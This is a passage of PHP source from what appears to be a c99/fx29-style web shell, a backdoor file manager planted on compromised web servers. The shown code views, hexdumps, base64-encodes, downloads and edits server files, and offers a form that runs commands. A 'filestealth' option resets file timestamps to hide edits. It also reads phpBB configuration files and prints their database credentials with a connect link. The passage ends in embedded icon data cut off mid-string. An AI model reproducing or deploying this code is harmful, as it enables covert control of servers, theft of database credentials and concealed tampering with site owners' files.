if (file_exists($d.$f)) {echo "<center><b>Permision denied
|
||
(".htmlspecialchars($d.$f).")!</b></center>";}
|
||
|
||
else {echo "<center><b>File does not exists (".htmlspecialchars
|
||
($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=
|
||
".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$r = @file_get_contents($d.$f);
|
||
|
||
$ext = explode(".",$f);
|
||
|
||
$c = count($ext)-1;
|
||
|
||
$ext = $ext[$c];
|
||
|
||
$ext = strtolower($ext);
|
||
|
||
$rft = "";
|
||
|
||
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k;
|
||
break;}}
|
||
|
||
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
|
||
|
||
if (empty($ft)) {$ft = $rft;}
|
||
|
||
$arr = array(
|
||
|
||
array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">
|
||
","info"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">
|
||
","html"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">
|
||
","txt"),
|
||
|
||
array("Code","code"),
|
||
|
||
array("Session","phpsess"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">
|
||
","exe"),
|
||
|
||
array("SDB","sdb"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">
|
||
","img"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">
|
||
","ini"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=download\" border=\"0\">
|
||
","download"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">
|
||
","notepad"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=change\" border=\"0\">
|
||
","edit")
|
||
|
||
);
|
||
|
||
echo "<b>Viewing file: <img src=\"".$surl."act
|
||
=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize
|
||
($d.$f)).") ".view_perms_color($d.$f)."</b>
|
||
<br>Select action/file-type:<br>";
|
||
|
||
foreach($arr as $t) {
|
||
|
||
if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode
|
||
($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</
|
||
font></a>";}
|
||
|
||
elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=
|
||
".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></
|
||
b></a>";}
|
||
|
||
else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t
|
||
[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
|
||
|
||
echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&
|
||
white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
|
||
|
||
}
|
||
|
||
echo "<hr size=\"1\" noshade>";
|
||
|
||
if ($ft == "info") {
|
||
|
||
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=
|
||
2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td>
|
||
<td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td>
|
||
".md5_file($d.$f)."</td></tr>";
|
||
|
||
if (!$win) {
|
||
|
||
echo "<tr><td><b>Owner/Group</b></td><td> ";
|
||
|
||
$ow = posix_getpwuid(fileowner($d.$f));
|
||
|
||
$gr = posix_getgrgid(filegroup($d.$f));
|
||
|
||
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?
|
||
$gr["name"]:filegroup($d.$f));
|
||
|
||
}
|
||
|
||
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=
|
||
".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></
|
||
td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime
|
||
($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y
|
||
H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td>
|
||
".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
|
||
|
||
$fi = fopen($d.$f,"rb");
|
||
|
||
if ($fi) {
|
||
|
||
if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread
|
||
($fi,filesize($d.$f));}
|
||
|
||
else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread
|
||
($fi,$hexdump_lines*$hexdump_rows);}
|
||
|
||
$n = 0;
|
||
|
||
$a0 = "00000000<br>";
|
||
|
||
$a1 = "";
|
||
|
||
$a2 = "";
|
||
|
||
for ($i=0; $i<strlen($str); $i++) {
|
||
|
||
$a1 .= sprintf("%02X",ord($str[$i]))." ";
|
||
|
||
switch (ord($str[$i])) {
|
||
|
||
case 0: $a2 .= "<font>0</font>"; break;
|
||
|
||
case 32:
|
||
|
||
case 10:
|
||
|
||
case 13: $a2 .= " "; break;
|
||
|
||
default: $a2 .= htmlspecialchars($str[$i]);
|
||
|
||
}
|
||
|
||
$n++;
|
||
|
||
if ($n == $hexdump_rows) {
|
||
|
||
$n = 0;
|
||
|
||
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>
|
||
";}
|
||
|
||
$a1 .= "<br>";
|
||
|
||
$a2 .= "<br>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
echo "<table border=1 bgcolor=#666666>".
|
||
|
||
"<tr><td bgcolor=#666666>".$a0."</td>".
|
||
|
||
"<td bgcolor=#000000>".$a1."</td>".
|
||
|
||
"<td bgcolor=#000000>".$a2."</td>".
|
||
|
||
"</tr></table><br>";
|
||
|
||
}
|
||
|
||
$encoded = "";
|
||
|
||
if ($base64 == 1) {
|
||
|
||
echo "<b>Base64 Encode</b><br>";
|
||
|
||
$encoded = base64_encode(file_get_contents($d.$f));
|
||
|
||
}
|
||
|
||
elseif($base64 == 2) {
|
||
|
||
echo "<b>Base64 Encode + Chunk</b><br>";
|
||
|
||
$encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
|
||
|
||
}
|
||
|
||
elseif($base64 == 3) {
|
||
|
||
echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
|
||
|
||
$encoded = base64_encode(file_get_contents($d.$f));
|
||
|
||
$encoded = substr(preg_replace("!.{1,76}!","'\\0'.\
|
||
n",$encoded),0,-2);
|
||
|
||
}
|
||
|
||
elseif($base64 == 4) {
|
||
|
||
$text = file_get_contents($d.$f);
|
||
|
||
$encoded = base64_decode($text);
|
||
|
||
echo "<b>Base64 Decode";
|
||
|
||
if (base64_encode($encoded) != $text) {echo " (failed)";}
|
||
|
||
echo "</b><br>";
|
||
|
||
}
|
||
|
||
if (!empty($encoded))
|
||
|
||
{
|
||
|
||
echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</
|
||
textarea><br><br>";
|
||
|
||
}
|
||
|
||
echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode
|
||
($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\
|
||
"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</
|
||
a>]<br><b>Base64: </b>
|
||
|
||
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&
|
||
base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
|
||
|
||
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&
|
||
base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
|
||
|
||
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&
|
||
base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
|
||
|
||
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&
|
||
base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
|
||
|
||
<P>";
|
||
|
||
}
|
||
|
||
elseif ($ft == "html") {
|
||
|
||
if ($white) {@ob_clean();}
|
||
|
||
echo $r;
|
||
|
||
if ($white) {fx29shexit();}
|
||
|
||
}
|
||
|
||
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
|
||
|
||
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file
|
||
($d.$f,TRUE)); echo "</pre>";}
|
||
|
||
elseif ($ft == "phpsess") {
|
||
|
||
echo "<pre>";
|
||
|
||
$v = explode("|",$r);
|
||
|
||
echo $v[0]."<br>";
|
||
|
||
var_dump(unserialize($v[1]));
|
||
|
||
echo "</pre>";
|
||
|
||
}
|
||
|
||
elseif ($ft == "exe") {
|
||
|
||
$ext = explode(".",$f);
|
||
|
||
$c = count($ext)-1;
|
||
|
||
$ext = $ext[$c];
|
||
|
||
$ext = strtolower($ext);
|
||
|
||
$rft = "";
|
||
|
||
foreach($exeftypes as $k=>$v)
|
||
|
||
{
|
||
|
||
if (in_array($ext,$v)) {$rft = $k; break;}
|
||
|
||
}
|
||
|
||
$cmd = str_replace("%f%",$f,$rft);
|
||
|
||
echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST>
|
||
<input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\"
|
||
value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>
|
||
Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\"
|
||
checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\">
|
||
<br><input type=submit name=submit value=\"Execute\"></form>";
|
||
|
||
}
|
||
|
||
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode
|
||
($r))); echo "</pre>";}
|
||
|
||
elseif ($ft == "code") {
|
||
|
||
if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
|
||
|
||
$arr = explode("\n",$r);
|
||
|
||
if (count($arr == 18)) {
|
||
|
||
include($d.$f);
|
||
|
||
echo "<b>phpBB configuration is detected in this file!<br>";
|
||
|
||
if ($dbms == "mysql4") {$dbms = "mysql";}
|
||
|
||
if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&
|
||
sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars
|
||
($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db
|
||
=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
|
||
|
||
else {echo "But, you can't connect to forum sql-base, because
|
||
db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report
|
||
us for fix.";}
|
||
|
||
echo "Parameters for manual connect:<br>";
|
||
|
||
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>
|
||
$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
|
||
|
||
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."=
|
||
'".htmlspecialchars($v)."'<br>";}
|
||
|
||
echo "</b><hr size=\"1\" noshade>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em;
|
||
margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em;
|
||
background-color: ".$highlight_background .";\">";
|
||
|
||
if (!empty($white)) {@ob_clean();}
|
||
|
||
highlight_file($d.$f);
|
||
|
||
if (!empty($white)) {fx29shexit();}
|
||
|
||
echo "</div>";
|
||
|
||
}
|
||
|
||
elseif ($ft == "download") {
|
||
|
||
@ob_clean();
|
||
|
||
header("Content-type: application/octet-stream");
|
||
|
||
header("Content-length: ".filesize($d.$f));
|
||
|
||
header("Content-disposition: attachment; filename=\"".$f."\";");
|
||
|
||
echo $r;
|
||
|
||
exit;
|
||
|
||
}
|
||
|
||
elseif ($ft == "notepad") {
|
||
|
||
@ob_clean();
|
||
|
||
header("Content-type: text/plain");
|
||
|
||
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
|
||
|
||
echo($r);
|
||
|
||
exit;
|
||
|
||
}
|
||
|
||
elseif ($ft == "img") {
|
||
|
||
$inf = getimagesize($d.$f);
|
||
|
||
if (!$white) {
|
||
|
||
if (empty($imgsize)) {$imgsize = 20;}
|
||
|
||
$width = $inf[0]/100*$imgsize;
|
||
|
||
$height = $inf[1]/100*$imgsize;
|
||
|
||
echo "<center><b>Size:</b> ";
|
||
|
||
$sizes = array("100","50","20");
|
||
|
||
foreach ($sizes as $v) {
|
||
|
||
echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=
|
||
".urlencode($d)."&imgsize=".$v."\">";
|
||
|
||
if ($imgsize != $v ) {echo $v;}
|
||
|
||
else {echo "<u>".$v."</u>";}
|
||
|
||
echo "</a> ";
|
||
|
||
}
|
||
|
||
echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&
|
||
white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\"
|
||
border=\"1\"></center>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
@ob_clean();
|
||
|
||
$ext = explode($f,".");
|
||
|
||
$ext = $ext[count($ext)-1];
|
||
|
||
header("Content-type: ".$inf["mime"]);
|
||
|
||
readfile($d.$f);
|
||
|
||
exit;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
elseif ($ft == "edit") {
|
||
|
||
if (!empty($submit))
|
||
|
||
{
|
||
|
||
if ($filestealth) {$stat = stat($d.$f);}
|
||
|
||
$fp = fopen($d.$f,"w");
|
||
|
||
if (!$fp) {echo "<b>Can't write to file!</b>";}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
echo "<b>Saved!</b>";
|
||
|
||
fwrite($fp,$edit_text);
|
||
|
||
fclose($fp);
|
||
|
||
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
|
||
|
||
$r = $edit_text;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
$rows = count(explode("\r\n",$r));
|
||
|
||
if ($rows < 10) {$rows = 10;}
|
||
|
||
if ($rows > 30) {$rows = 30;}
|
||
|
||
echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=
|
||
".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save
|
||
\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\"
|
||
onclick=\"location.href='".addslashes($surl."act=ls&d=".substr
|
||
($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122
|
||
\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
|
||
|
||
}
|
||
|
||
elseif (!empty($ft)) {echo "<center><b>Manually selected type is
|
||
incorrect. If you think, it is mistake, please send us url and dump of \
|
||
$GLOBALS.</b></center>";}
|
||
|
||
else {echo "<center><b>Unknown file type (".$ext."), please select type
|
||
manually.</b></center>";}
|
||
|
||
}
|
||
|
||
echo "</div>\n";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
@ob_clean();
|
||
|
||
$images = array(
|
||
|
||
"arrow_ltr"=>
|
||
|
||
"R0lGODlhJgAWAIABAP///
|
||
wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
|
||
|
||
"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
|
||
|
||
"back"=>
|
||
|
||
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///
|
||
wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
|
||
|
||
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/
|
||
3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
|
||
|
||
"Wg0JADs=",
|
||
|
||
"buffer"=>
|
||
|
||
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///
|
||
yH5BAEAAAcALAAAAAAUABQAAANo".
|
||
|
||
|
||
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
|
||
|
||
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
|
||
|
||
"change"=>
|
||
|
||
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6
|
||
/v3+".
|
||
|
||
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///
|
||
yH5BAEA".
|
||
|
||
|
||
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
|
||
|
||
|
||
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
|
||
|
||
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/
|
||
CxTCsCMexsfIxjDL".
|
||
|
||
"zMshADs=",
|
||
|
||
"delete"=>
|
||
|
||
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/
|
||
n5+etgeunp".
|
||
|
||
"6dcGLMMpRurq6pKSktvb2+/
|
||
v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
|
||
|
||
|
||
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
|
||
|
||
|
||
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
|
||
|
||
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf//
|
||
/wAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
|
||
|
||
|
||
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
|
||
|
||
|
||
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
|
||
|
||
|
||
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
|
||
|
||
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
|
||
|
||
"download"=>
|
||
|
||
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///
|
||
wAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
|
||
|
||
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
|
||
|
||
"forward"=>
|
||
|
||
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///
|
||
wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
|
||
|
||
"aLrc/
|
||
jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
|
||
|
||
"WqsJADs=",
|
||
|
||
"home"=>
|
||
|
||
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///
|
||
wAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
|
||
|
||
|
||
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN
|
||
/j".
|
||
|
||
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
|
||
|
||
"mode"=>
|
||
|
||
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////
|
||
wAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/
|
||
+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
|
||
|
||
"2BZcwGDoEXk/
|
||
Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
|
||
|
||
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
|
||
|
||
"search"=>
|
||
|
||
"R0lGODlhFAAUALMAAAAAAP///
|
||
+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
|
||
|
||
"/
|
||
wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
|
||
|
||
|
||
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
|
||
|
||
|
||
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
|
||
|
||
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
|
||
|
||
"setup"=>
|
||
|
||
"R0lGODlhFAAUAMQAAAAAAP////
|
||
j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
|
||
|
||
"QhwcHP///
|
||
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
|
||
|
||
|
||
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
|
||
|
||
|
||
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
|
||
|
||
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==
|
||
",
|
||
|
||
"small_dir"=>
|
||
|
||
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////
|
||
wAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
|
||
|
||
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
|
||
|
||
"small_unk"=>
|
||
|
||
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/
|
||
MLc+y1U".
|
||
|
||
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq
|
||
/Nfo".
|
||
|
||
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4
|
||
/u31".
|
||
|
||
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/
|
||
b+rza+vP4".
|
||
|
||
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/
|
||
rXI8rHF8brM87fJ8nmP".
|
||
|
||
"wr3N86/
|
||
D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
|
||
|
||
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/
|
||
46v4Yuu4WZvfr7P6sPS6sDQ".
|
||
|
||
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/
|
||
76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
|
||
|
||
|
||
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
|
||
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
|
||
|
||
|
||
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
|
||
|
||
|
||
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
|
||
|
||
|
||
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
|
||
|
||
"yAsokBkQADs=",
|
||
|
||
"multipage"=>"R0lGODlhCgAMAJEDAP/////
|
||
3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
|
||
|
||
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
|
||
|
||
"sort_asc"=>
|
||
|
||
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///
|
||
wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
|
||
|
||
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
|
||
|
||
"sort_desc"=>
|
||
|
||
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///
|
||
wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
|
||
|
||
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
|
||
|
||
"sql_button_drop"=>
|
||
|
||
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A
|
||
/wD/".
|
||
|
||
"/////
|
||
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz
|
||
/wBm".
|
||
|
||
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/
|
||
AAD/".
|
||
|
||
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/
|
||
zNmADNmMzNm".
|
||
|
||
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/
|
||
ZjP/".
|
||
|
||
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/
|
||
2ZmAGZmM2ZmZmZmmWZm".
|
||
|
||
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/
|
||
zGb/".
|
||
|
||
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm
|
||
/5mZ".
|
||
|
||
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//
|
||
8wAAMwA".
|
||
|
||
